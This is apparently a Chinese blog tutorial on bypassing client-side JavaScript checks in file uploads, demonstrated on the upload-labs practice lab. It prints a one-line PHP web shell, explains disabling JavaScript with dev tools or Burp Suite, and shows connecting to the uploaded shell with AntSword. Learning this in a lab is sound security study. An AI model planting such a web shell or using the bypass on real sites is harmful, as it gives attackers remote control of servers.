文件上传漏洞-绕过js验证

1.漏洞原理:

Web应用系统虽然对用户上传的文件进行了校验,但是校验是通过前端javascript代码完成的。由于恶意用户可以对前端javascript进行修改或者是通过抓包软件篡改上传的文件,就会导致基于js的校验很容易被绕过。

2.判断页面是否存在前端绕过js验证

打开开发者工具调试面板,选择网络,然后上传图片文件和非图片文件,然后对这两个文件的变化进行对比,如果网络中没有数据变化,说明存在js前端验证漏洞,如果有变化说明不存在。(有变化说明,前端没有做验证,是把文件传输到后台,在后台进行验证的,所以才会有网络请求。)

这里以upload-labs less1为例,随便上传一个php文件发现网络并没有波动,说明这个拦截是通过前端JavaScript代码完成的。通过图二可以看到,上传正常图片文件网络栏有数据传输,说明有数据向后台发送,说明页面存在js绕过漏洞。

3.创建一个1.php文件(一句话木马):

<?php @eval($_REQUEST['666']); ?>

禁用JavaScript

(1)通过开发者工具禁用

(2)通过burpsuit禁用

通过抓包后点击option找到remove all JavaScript

带有木马的文件成功上传到服务器

4.接下来打开蚁剑连接木马

5.发现已经可以看到upload-labs下所有的文件

相关推荐
LCG元14 分钟前
Vue.js组件开发-如何实现异步组件
前端·javascript·vue.js
山茶花开时。25 分钟前
[SAP ABAP] 静态断点的使用
开发语言·sap·abap
纠结哥_Shrek25 分钟前
Java 有很多常用的库
java·开发语言
wl851127 分钟前
vue入门到实战 三
前端·javascript·vue.js
ljz201638 分钟前
本地搭建deepseek-r1
前端·javascript·vue.js
傻小胖1 小时前
vue3中Teleport的用法以及使用场景
前端·javascript·vue.js
加油,旭杏1 小时前
【go语言】函数
开发语言·后端·golang
wl85112 小时前
Vue 入门到实战 七
前端·javascript·vue.js
南玖yy2 小时前
C语言:结构体
c语言·开发语言
〖是♂我〗3 小时前
自定义数据集 使用scikit-learn中svm的包实现svm分类
开发语言·python